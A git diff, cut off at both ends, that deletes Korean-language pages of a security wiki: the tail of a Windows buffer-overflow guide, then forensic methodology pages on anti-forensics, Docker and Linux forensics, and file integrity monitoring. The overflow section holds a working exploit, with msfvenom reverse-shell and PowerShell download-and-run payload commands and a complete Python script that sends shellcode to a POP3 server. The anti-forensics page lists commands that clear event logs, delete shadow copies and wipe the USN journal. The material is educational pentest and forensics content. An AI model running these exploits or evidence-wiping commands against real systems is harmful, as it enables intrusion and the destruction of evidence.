insie dll space (JMP ESP) -!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case -``` -**그런 다음, 주소가 발견되면 나쁜 문자가 포함되지 않은 주소를 선택하십시오:** - -![](<../images/image (36) (1).png>) - -**이 경우, 예를 들어: \_0x5f4a358f**\_ - -## 셸코드 생성 -``` -msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' -msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' -``` -익스플로잇이 작동하지 않지만 작동해야 하는 경우(ImDebg를 통해 셸코드에 도달했음을 확인할 수 있음), 다른 셸코드를 생성해 보십시오(msfvenom을 사용하여 동일한 매개변수에 대해 다른 셸코드를 생성). - -**셸코드의 시작 부분에 NOPS를 추가**하고 이를 사용하여 반환 주소로 JMP ESP를 수행하고 익스플로잇을 완료하십시오: -```bash -#!/usr/bin/python - -import socket - -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -ip = '10.11.25.153' -port = 110 - -shellcode = ( -"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1" -"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b" -"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4" -"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6" -"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4" -"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36" -"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9" -"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19" -"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef" -"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78" -"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85" -"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4" -"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35" -"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71" -"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8" -"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf" -"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a" -"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5" -"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25" -"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4" -"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1" -"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a" -"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d" -"\x2d\xb8\x63\xe2\x4e\xe9" -) - -buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode -try: -print "\nLaunching exploit..." -s.connect((ip, port)) -data = s.recv(1024) -s.send('USER username' +'\r\n') -data = s.recv(1024) -s.send('PASS ' + buffer + '\r\n') -print "\nFinished!." -except: -print "Could not connect to "+ip+":"+port -``` -> [!WARNING] -> 셸코드가 **자기 자신을 덮어쓸** 수 있으므로, 셸코드 앞에 항상 NOP를 추가하는 것이 중요합니다. - -## 셸코드 개선하기 - -이 매개변수를 추가하세요: -``` -EXITFUNC=thread -e x86/shikata_ga_nai -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/README.md b/src/forensics/basic-forensic-methodology/README.md deleted file mode 100644 index bd4cf8f11..000000000 --- a/src/forensics/basic-forensic-methodology/README.md +++ /dev/null @@ -1,82 +0,0 @@ -# 기본 포렌식 방법론 - -{{#include ../../banners/hacktricks-training.md}} - -## 이미지 생성 및 마운트 - -{{#ref}} -../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md -{{#endref}} - -## 악성코드 분석 - -이 **단계는 이미지를 확보한 후 반드시 수행해야 하는 첫 번째 단계는 아닙니다**. 하지만 파일, 파일 시스템 이미지, 메모리 이미지, pcap...가 있다면 이 악성코드 분석 기술을 독립적으로 사용할 수 있으므로 **이러한 작업을 염두에 두는 것이 좋습니다**: - -{{#ref}} -malware-analysis.md -{{#endref}} - -## 이미지 검사 - -장치의 **포렌식 이미지**를 받았다면 **파티션, 파일 시스템**을 **분석하고** 잠재적으로 **흥미로운 파일**(삭제된 파일 포함)을 **복구**하는 작업을 시작할 수 있습니다. 방법은 다음을 참조하세요: - -{{#ref}} -partitions-file-systems-carving/ -{{#endref}} - -사용된 OS 및 플랫폼에 따라 다양한 흥미로운 아티팩트를 검색해야 합니다: - -{{#ref}} -windows-forensics/ -{{#endref}} - -{{#ref}} -linux-forensics.md -{{#endref}} - -{{#ref}} -docker-forensics.md -{{#endref}} - -## 특정 파일 유형 및 소프트웨어에 대한 심층 검사 - -매우 **의심스러운** **파일**이 있다면, **파일 유형 및 이를 생성한 소프트웨어**에 따라 여러 **트릭**이 유용할 수 있습니다.\ -다음 페이지를 읽어 흥미로운 트릭을 배워보세요: - -{{#ref}} -specific-software-file-type-tricks/ -{{#endref}} - -특히 다음 페이지를 언급하고 싶습니다: - -{{#ref}} -specific-software-file-type-tricks/browser-artifacts.md -{{#endref}} - -## 메모리 덤프 검사 - -{{#ref}} -memory-dump-analysis/ -{{#endref}} - -## Pcap 검사 - -{{#ref}} -pcap-inspection/ -{{#endref}} - -## **안티 포렌식 기술** - -안티 포렌식 기술의 사용 가능성을 염두에 두세요: - -{{#ref}} -anti-forensic-techniques.md -{{#endref}} - -## 위협 헌팅 - -{{#ref}} -file-integrity-monitoring.md -{{#endref}} - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md deleted file mode 100644 index dc2375b98..000000000 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ /dev/null @@ -1,151 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# 타임스탬프 - -공격자는 **파일의 타임스탬프를 변경**하여 탐지를 피하고자 할 수 있습니다.\ -타임스탬프는 MFT의 `$STANDARD_INFORMATION`**및**`$FILE_NAME` 속성 내에서 찾을 수 있습니다. - -두 속성 모두 4개의 타임스탬프를 가지고 있습니다: **수정**, **접근**, **생성**, 및 **MFT 레지스트리 수정** (MACE 또는 MACB). - -**Windows 탐색기** 및 기타 도구는 **`$STANDARD_INFORMATION`**의 정보를 표시합니다. - -## TimeStomp - 안티 포렌식 도구 - -이 도구는 **`$STANDARD_INFORMATION`** 내의 타임스탬프 정보를 **수정**하지만 **`$FILE_NAME`** 내의 정보는 수정하지 않습니다. 따라서 **의심스러운** **활동**을 **식별**할 수 있습니다. - -## Usnjrnl - -**USN 저널** (업데이트 시퀀스 번호 저널)은 NTFS (Windows NT 파일 시스템)의 기능으로, 볼륨 변경 사항을 추적합니다. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) 도구를 사용하면 이러한 변경 사항을 검사할 수 있습니다. - -![](<../../images/image (449).png>) - -이전 이미지는 **도구**에서 표시된 **출력**으로, 파일에 대해 **일부 변경이 수행되었음을** 관찰할 수 있습니다. - -## $LogFile - -**파일 시스템에 대한 모든 메타데이터 변경 사항은** [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging)이라는 프로세스에 기록됩니다. 기록된 메타데이터는 NTFS 파일 시스템의 루트 디렉토리에 위치한 `**$LogFile**`이라는 파일에 저장됩니다. [LogFileParser](https://github.com/jschicht/LogFileParser)와 같은 도구를 사용하여 이 파일을 구문 분석하고 변경 사항을 식별할 수 있습니다. - -![](<../../images/image (450).png>) - -다시 말해, 도구의 출력에서 **일부 변경이 수행되었음을** 확인할 수 있습니다. - -같은 도구를 사용하여 **타임스탬프가 수정된 시간을 식별**할 수 있습니다: - -![](<../../images/image (451).png>) - -- CTIME: 파일의 생성 시간 -- ATIME: 파일의 수정 시간 -- MTIME: 파일의 MFT 레지스트리 수정 -- RTIME: 파일의 접근 시간 - -## `$STANDARD_INFORMATION` 및 `$FILE_NAME` 비교 - -의심스러운 수정된 파일을 식별하는 또 다른 방법은 두 속성의 시간을 비교하여 **불일치**를 찾는 것입니다. - -## 나노초 - -**NTFS** 타임스탬프는 **100 나노초**의 **정밀도**를 가집니다. 따라서 2010-10-10 10:10:**00.000:0000과 같은 타임스탬프를 가진 파일을 찾는 것은 매우 의심스럽습니다. - -## SetMace - 안티 포렌식 도구 - -이 도구는 `$STARNDAR_INFORMATION` 및 `$FILE_NAME` 두 속성을 수정할 수 있습니다. 그러나 Windows Vista부터는 이 정보를 수정하기 위해 라이브 OS가 필요합니다. - -# 데이터 숨기기 - -NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이 클러스터와 반 개를 차지하면, **남은 반 개는 파일이 삭제될 때까지 절대 사용되지 않습니다**. 따라서 이 슬랙 공간에 **데이터를 숨길 수 있습니다**. - -슬랙 공간에 데이터를 숨길 수 있는 slacker와 같은 도구가 있습니다. 그러나 `$logfile` 및 `$usnjrnl` 분석을 통해 일부 데이터가 추가되었음을 보여줄 수 있습니다: - -![](<../../images/image (452).png>) - -그런 다음 FTK Imager와 같은 도구를 사용하여 슬랙 공간을 복구할 수 있습니다. 이러한 종류의 도구는 내용을 난독화하거나 심지어 암호화된 상태로 저장할 수 있습니다. - -# UsbKill - -이 도구는 **USB** 포트에서 변경 사항이 감지되면 컴퓨터를 **끄는** 기능을 합니다.\ -이를 발견하는 방법은 실행 중인 프로세스를 검사하고 **실행 중인 각 파이썬 스크립트를 검토**하는 것입니다. - -# 라이브 리눅스 배포판 - -이 배포판은 **RAM** 메모리 내에서 **실행됩니다**. 이를 감지하는 유일한 방법은 **NTFS 파일 시스템이 쓰기 권한으로 마운트된 경우**입니다. 읽기 권한만으로 마운트되면 침입을 감지할 수 없습니다. - -# 안전한 삭제 - -[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) - -# Windows 구성 - -여러 Windows 로깅 방법을 비활성화하여 포렌식 조사를 훨씬 더 어렵게 만들 수 있습니다. - -## 타임스탬프 비활성화 - UserAssist - -이것은 사용자가 각 실행 파일을 실행한 날짜와 시간을 유지하는 레지스트리 키입니다. - -UserAssist를 비활성화하려면 두 단계를 수행해야 합니다: - -1. 두 개의 레지스트리 키, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` 및 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`를 모두 0으로 설정하여 UserAssist를 비활성화하겠다는 신호를 보냅니다. -2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`와 같은 레지스트리 하위 트리를 지웁니다. - -## 타임스탬프 비활성화 - Prefetch - -이것은 Windows 시스템의 성능을 개선하기 위해 실행된 응용 프로그램에 대한 정보를 저장합니다. 그러나 이것은 포렌식 관행에도 유용할 수 있습니다. - -- `regedit` 실행 -- 파일 경로 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` 선택 -- `EnablePrefetcher` 및 `EnableSuperfetch`를 마우스 오른쪽 버튼으로 클릭 -- 각 항목에서 값을 1(또는 3)에서 0으로 변경하기 위해 수정 선택 -- 재부팅 - -## 타임스탬프 비활성화 - 마지막 접근 시간 - -NTFS 볼륨에서 폴더가 열릴 때마다 시스템은 각 나열된 폴더에 대해 **타임스탬프 필드를 업데이트하는 데 시간을 소요**합니다. 이를 마지막 접근 시간이라고 합니다. 사용량이 많은 NTFS 볼륨에서는 성능에 영향을 줄 수 있습니다. - -1. 레지스트리 편집기(Regedit.exe)를 엽니다. -2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`으로 이동합니다. -3. `NtfsDisableLastAccessUpdate`를 찾습니다. 존재하지 않으면 이 DWORD를 추가하고 값을 1로 설정하여 프로세스를 비활성화합니다. -4. 레지스트리 편집기를 닫고 서버를 재부팅합니다. - -## USB 기록 삭제 - -모든 **USB 장치 항목**은 USB 장치를 PC 또는 노트북에 연결할 때 생성되는 하위 키를 포함하는 **USBSTOR** 레지스트리 키에 저장됩니다. 이 키는 여기에서 찾을 수 있습니다: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **이것을 삭제하면** USB 기록이 삭제됩니다.\ -또한 [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) 도구를 사용하여 삭제했는지 확인할 수 있습니다 (그리고 삭제할 수 있습니다). - -USB에 대한 정보를 저장하는 또 다른 파일은 `C:\Windows\INF` 내의 `setupapi.dev.log` 파일입니다. 이것도 삭제해야 합니다. - -## 섀도우 복사 비활성화 - -**섀도우 복사 목록**을 보려면 `vssadmin list shadowstorage`를 실행합니다.\ -**삭제**하려면 `vssadmin delete shadow`를 실행합니다. - -GUI를 통해 삭제하려면 [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)에서 제안된 단계를 따르십시오. - -섀도우 복사를 비활성화하려면 [여기에서 단계](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)를 따르십시오: - -1. Windows 시작 버튼을 클릭한 후 텍스트 검색 상자에 "services"를 입력하여 서비스 프로그램을 엽니다. -2. 목록에서 "Volume Shadow Copy"를 찾아 선택한 후 마우스 오른쪽 버튼을 클릭하여 속성에 접근합니다. -3. "시작 유형" 드롭다운 메뉴에서 비활성화를 선택하고 변경 사항을 적용하고 확인을 클릭합니다. - -어떤 파일이 섀도우 복사에 복사될지를 레지스트리 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`에서 수정할 수도 있습니다. - -## 삭제된 파일 덮어쓰기 - -- **Windows 도구**를 사용할 수 있습니다: `cipher /w:C` 이는 C 드라이브 내의 사용 가능한 미사용 디스크 공간에서 데이터를 제거하도록 cipher에 지시합니다. -- [**Eraser**](https://eraser.heidi.ie)와 같은 도구를 사용할 수도 있습니다. - -## Windows 이벤트 로그 삭제 - -- Windows + R --> eventvwr.msc --> "Windows 로그" 확장 --> 각 카테고리를 마우스 오른쪽 버튼으로 클릭하고 "로그 지우기" 선택 -- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` -- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` - -## Windows 이벤트 로그 비활성화 - -- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- 서비스 섹션 내에서 "Windows 이벤트 로그" 서비스를 비활성화합니다. -- `WEvtUtil.exec clear-log` 또는 `WEvtUtil.exe cl` - -## $UsnJrnl 비활성화 - -- `fsutil usn deletejournal /d c:` - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md deleted file mode 100644 index 3422af606..000000000 --- a/src/forensics/basic-forensic-methodology/docker-forensics.md +++ /dev/null @@ -1,96 +0,0 @@ -# Docker Forensics - -{{#include ../../banners/hacktricks-training.md}} - - -## Container modification - -어떤 docker 컨테이너가 손상되었다는 의혹이 있습니다: -```bash -docker ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress -``` -이 컨테이너에 대한 **이미지와 관련된 수정 사항을 쉽게 찾을 수 있습니다**: -```bash -docker diff wordpress -C /var -C /var/lib -C /var/lib/mysql -A /var/lib/mysql/ib_logfile0 -A /var/lib/mysql/ib_logfile1 -A /var/lib/mysql/ibdata1 -A /var/lib/mysql/mysql -A /var/lib/mysql/mysql/time_zone_leap_second.MYI -A /var/lib/mysql/mysql/general_log.CSV -... -``` -이전 명령에서 **C**는 **Changed**를 의미하고 **A**는 **Added**를 의미합니다.\ -`/etc/shadow`와 같은 흥미로운 파일이 수정된 것을 발견하면, 악의적인 활동을 확인하기 위해 컨테이너에서 파일을 다운로드할 수 있습니다: -```bash -docker cp wordpress:/etc/shadow. -``` -원본과 **비교할 수 있습니다** 새 컨테이너를 실행하고 그 안에서 파일을 추출하여: -```bash -docker run -d lamp-wordpress -docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container -diff original_shadow shadow -``` -**의심스러운 파일이 추가된 경우** 컨테이너에 접근하여 확인할 수 있습니다: -```bash -docker exec -it wordpress bash -``` -## 이미지 수정 - -내보낸 도커 이미지(아마도 `.tar` 형식)를 받으면 [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases)를 사용하여 **수정 사항의 요약을 추출**할 수 있습니다: -```bash -docker save > image.tar #Export the image to a .tar file -container-diff analyze -t sizelayer image.tar -container-diff analyze -t history image.tar -container-diff analyze -t metadata image.tar -``` -그런 다음 이미지를 **압축 해제**하고 **블롭에 접근**하여 변경 이력에서 발견한 의심스러운 파일을 검색할 수 있습니다: -```bash -tar -xf image.tar -``` -### Basic Analysis - -You can get **기본 정보** from the image running: -```bash -docker inspect -``` -변경 사항 **이력 요약**을 다음과 같이 얻을 수 있습니다: -```bash -docker history --no-trunc -``` -이미지에서 **dockerfile을 생성할 수 있습니다**: -```bash -alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" -dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> -``` -### Dive - -docker 이미지에서 추가되거나 수정된 파일을 찾기 위해 [**dive**](https://github.com/wagoodman/dive) (다운로드는 [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)에서) 유틸리티를 사용할 수 있습니다: -```bash -#First you need to load the image in your docker repo -sudo docker load < image.tar 1 ⨯ -Loaded image: flask:latest - -#And then open it with dive: -sudo dive flask:latest -``` -이것은 **docker 이미지의 다양한 블롭을 탐색하고 어떤 파일이 수정되었거나 추가되었는지 확인할 수 있게 해줍니다**. **빨간색**은 추가된 것을 의미하고 **노란색**은 수정된 것을 의미합니다. **탭**을 사용하여 다른 보기로 이동하고 **스페이스**를 사용하여 폴더를 축소/열 수 있습니다. - -die를 사용하면 이미지의 다양한 단계의 콘텐츠에 접근할 수 없습니다. 그렇게 하려면 **각 레이어를 압축 해제하고 접근해야 합니다**.\ -이미지가 압축 해제된 디렉토리에서 다음을 실행하여 이미지의 모든 레이어를 압축 해제할 수 있습니다: -```bash -tar -xf image.tar -for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done -``` -## 메모리에서의 자격 증명 - -호스트 내에서 도커 컨테이너를 실행할 때 **호스트에서 컨테이너에서 실행 중인 프로세스를 볼 수 있습니다** `ps -ef`를 실행하기만 하면 됩니다. - -따라서 (루트로) **호스트에서 프로세스의 메모리를 덤프하고** **자격 증명**을 검색할 수 있습니다 [**다음 예제와 같이**](../../linux-hardening/privilege-escalation/index.html#process-memory). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md deleted file mode 100644 index f49343078..000000000 --- a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ /dev/null @@ -1,26 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# 기준선 - -기준선은 시스템의 특정 부분을 스냅샷으로 찍어 **미래 상태와 비교하여 변화를 강조하는 것**으로 구성됩니다. - -예를 들어, 파일 시스템의 각 파일의 해시를 계산하고 저장하여 어떤 파일이 수정되었는지 확인할 수 있습니다.\ -이것은 생성된 사용자 계정, 실행 중인 프로세스, 실행 중인 서비스 및 크게 변하지 않거나 전혀 변하지 않아야 하는 다른 모든 것에 대해서도 수행할 수 있습니다. - -## 파일 무결성 모니터링 - -파일 무결성 모니터링(FIM)은 파일의 변경 사항을 추적하여 IT 환경과 데이터를 보호하는 중요한 보안 기술입니다. 여기에는 두 가지 주요 단계가 포함됩니다: - -1. **기준선 비교:** 수정 사항을 감지하기 위해 향후 비교를 위한 파일 속성 또는 암호화 체크섬(MD5 또는 SHA-2와 같은)을 사용하여 기준선을 설정합니다. -2. **실시간 변경 알림:** 파일에 접근하거나 변경될 때 즉각적인 알림을 받습니다. 일반적으로 OS 커널 확장을 통해 이루어집니다. - -## 도구 - -- [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) -- [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) - -## 참고문헌 - -- [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/linux-forensics.md b/src/forensics/basic-forensic-methodology/linux-forensics.md deleted file mode 100644 index 043dab61e..000000000 --- a/src/forensics/basic-forensic-methodology/linux-forensics.md +++ /dev/null @@ -1,370 +0,0 @@ -# Linux 포렌식 - -{{#include ../../banners/hacktricks-training.md}} - -## 초기 정보 수집 - -### 기본 정보 - -우선, **좋은 알려진 바이너리와 라이브러리**가 있는 **USB**를 준비하는 것이 좋습니다(우분투를 가져와서 _/bin_, _/sbin_, _/lib,_ 및 _/lib64_ 폴더를 복사하면 됩니다). 그런 다음 USB를 마운트하고 환경 변수를 수정하여 해당 바이너리를 사용합니다: -```bash -export PATH=/mnt/usb/bin:/mnt/usb/sbin -export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 -``` -시스템을 신뢰할 수 있는 알려진 바이너리를 사용하도록 구성한 후, **기본 정보를 추출하기 시작할 수 있습니다**: -```bash -date #Date and time (Clock may be skewed, Might be at a different timezone) -uname -a #OS info -ifconfig -a || ip a #Network interfaces (promiscuous mode?) -ps -ef #Running processes -netstat -anp #Proccess and ports -lsof -V #Open files -netstat -rn; route #Routing table -df; mount #Free space and mounted devices -free #Meam and swap space -w #Who is connected -last -Faiwx #Logins -lsmod #What is loaded -cat /etc/passwd #Unexpected data? -cat /etc/shadow #Unexpected data? -find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory -``` -#### 의심스러운 정보 - -기본 정보를 얻는 동안 다음과 같은 이상한 사항을 확인해야 합니다: - -- **루트 프로세스**는 일반적으로 낮은 PID로 실행되므로, 큰 PID를 가진 루트 프로세스를 발견하면 의심할 수 있습니다. -- `/etc/passwd` 내에서 셸이 없는 사용자의 **등록된 로그인**을 확인하십시오. -- 셸이 없는 사용자의 `/etc/shadow` 내에서 **비밀번호 해시**를 확인하십시오. - -### 메모리 덤프 - -실행 중인 시스템의 메모리를 얻으려면 [**LiME**](https://github.com/504ensicsLabs/LiME)를 사용하는 것이 좋습니다.\ -**컴파일**하려면 피해자 머신이 사용하는 **동일한 커널**을 사용해야 합니다. - -> [!NOTE] -> 피해자 머신에 **LiME 또는 다른 어떤 것**도 설치할 수 없음을 기억하십시오. 이는 여러 가지 변경을 초래할 것입니다. - -따라서 동일한 버전의 Ubuntu가 있다면 `apt-get install lime-forensics-dkms`를 사용할 수 있습니다.\ -다른 경우에는 [**LiME**](https://github.com/504ensicsLabs/LiME)를 github에서 다운로드하고 올바른 커널 헤더로 컴파일해야 합니다. 피해자 머신의 **정확한 커널 헤더**를 얻으려면 `/lib/modules/` 디렉토리를 귀하의 머신으로 **복사**한 다음, 이를 사용하여 LiME를 **컴파일**하면 됩니다: -```bash -make -C /lib/modules//build M=$PWD -sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" -``` -LiME는 3가지 **형식**을 지원합니다: - -- Raw (모든 세그먼트가 함께 연결됨) -- Padded (raw와 동일하지만 오른쪽 비트에 제로가 추가됨) -- Lime (메타데이터가 포함된 추천 형식) - -LiME는 또한 **시스템에 저장하는 대신 네트워크를 통해 덤프를 전송**하는 데 사용할 수 있습니다. 예: `path=tcp:4444` - -### 디스크 이미징 - -#### 시스템 종료 - -우선, **시스템을 종료해야** 합니다. 이는 항상 가능한 옵션이 아니며, 경우에 따라 시스템이 회사가 종료할 수 없는 프로덕션 서버일 수 있습니다.\ -시스템을 종료하는 방법은 **정상 종료**와 **"플러그를 뽑는" 종료**의 **2가지 방법**이 있습니다. 첫 번째 방법은 **프로세스가 정상적으로 종료**되고 **파일 시스템**이 **동기화**되도록 허용하지만, **악성코드**가 **증거를 파괴**할 가능성도 있습니다. "플러그를 뽑는" 접근 방식은 **일부 정보 손실**을 초래할 수 있습니다(메모리 이미지를 이미 가져왔기 때문에 많은 정보가 손실되지 않음) 그리고 **악성코드가 아무것도 할 기회가 없습니다**. 따라서 **악성코드**가 있을 것으로 **의심**되는 경우, 시스템에서 **`sync`** **명령**을 실행하고 플러그를 뽑으십시오. - -#### 디스크 이미지 가져오기 - -**사건과 관련된 어떤 것에 컴퓨터를 연결하기 전에** 반드시 **읽기 전용으로 마운트**될 것인지 확인해야 정보를 수정하지 않도록 하는 것이 중요합니다. -```bash -#Create a raw copy of the disk -dd if= of= bs=512 - -#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data) -dcfldd if= of= bs=512 hash= hashwindow= hashlog= -dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes -``` -### 디스크 이미지 사전 분석 - -더 이상 데이터가 없는 디스크 이미지를 이미징합니다. -```bash -#Find out if it's a disk image using "file" command -file disk.img -disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files) - -#Check which type of disk image it's -img_stat -t evidence.img -raw -#You can list supported types with -img_stat -i list -Supported image format types: -raw (Single or split raw file (dd)) -aff (Advanced Forensic Format) -afd (AFF Multiple File) -afm (AFF with external metadata) -afflib (All AFFLIB image formats (including beta ones)) -ewf (Expert Witness Format (EnCase)) - -#Data of the image -fsstat -i raw -f ext4 disk.img -FILE SYSTEM INFORMATION --------------------------------------------- -File System Type: Ext4 -Volume Name: -Volume ID: 162850f203fd75afab4f1e4736a7e776 - -Last Written at: 2020-02-06 06:22:48 (UTC) -Last Checked at: 2020-02-06 06:15:09 (UTC) - -Last Mounted at: 2020-02-06 06:15:18 (UTC) -Unmounted properly -Last mounted on: /mnt/disk0 - -Source OS: Linux -[...] - -#ls inside the image -fls -i raw -f ext4 disk.img -d/d 11: lost+found -d/d 12: Documents -d/d 8193: folder1 -d/d 8194: folder2 -V/V 65537: $OrphanFiles - -#ls inside folder -fls -i raw -f ext4 disk.img 12 -r/r 16: secret.txt - -#cat file inside image -icat -i raw -f ext4 disk.img 16 -ThisisTheMasterSecret -``` -## 알려진 악성코드 검색 - -### 수정된 시스템 파일 - -Linux는 시스템 구성 요소의 무결성을 보장하기 위한 도구를 제공하며, 이는 잠재적으로 문제가 있는 파일을 발견하는 데 중요합니다. - -- **RedHat 기반 시스템**: 포괄적인 검사를 위해 `rpm -Va`를 사용합니다. -- **Debian 기반 시스템**: 초기 검증을 위해 `dpkg --verify`를 사용한 후, `debsums | grep -v "OK$"` (먼저 `apt-get install debsums`로 `debsums`를 설치한 후)로 문제를 식별합니다. - -### 악성코드/루트킷 탐지기 - -악성코드를 찾는 데 유용할 수 있는 도구에 대해 알아보려면 다음 페이지를 읽어보세요: - -{{#ref}} -malware-analysis.md -{{#endref}} - -## 설치된 프로그램 검색 - -Debian 및 RedHat 시스템에서 설치된 프로그램을 효과적으로 검색하려면 시스템 로그 및 데이터베이스를 활용하고 일반 디렉토리에서 수동 검사를 고려하세요. - -- Debian의 경우, 패키지 설치에 대한 세부 정보를 가져오기 위해 _**`/var/lib/dpkg/status`**_ 및 _**`/var/log/dpkg.log`**_를 검사하고, `grep`을 사용하여 특정 정보를 필터링합니다. -- RedHat 사용자는 `rpm -qa --root=/mntpath/var/lib/rpm`로 RPM 데이터베이스를 쿼리하여 설치된 패키지를 나열할 수 있습니다. - -패키지 관리자 외부에서 수동으로 설치된 소프트웨어를 발견하려면 _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, 및 _**`/sbin`**_과 같은 디렉토리를 탐색하세요. 디렉토리 목록과 시스템 특정 명령을 결합하여 알려진 패키지와 관련이 없는 실행 파일을 식별하고, 모든 설치된 프로그램을 검색하는 데 도움을 줍니다. -```bash -# Debian package and log details -cat /var/lib/dpkg/status | grep -E 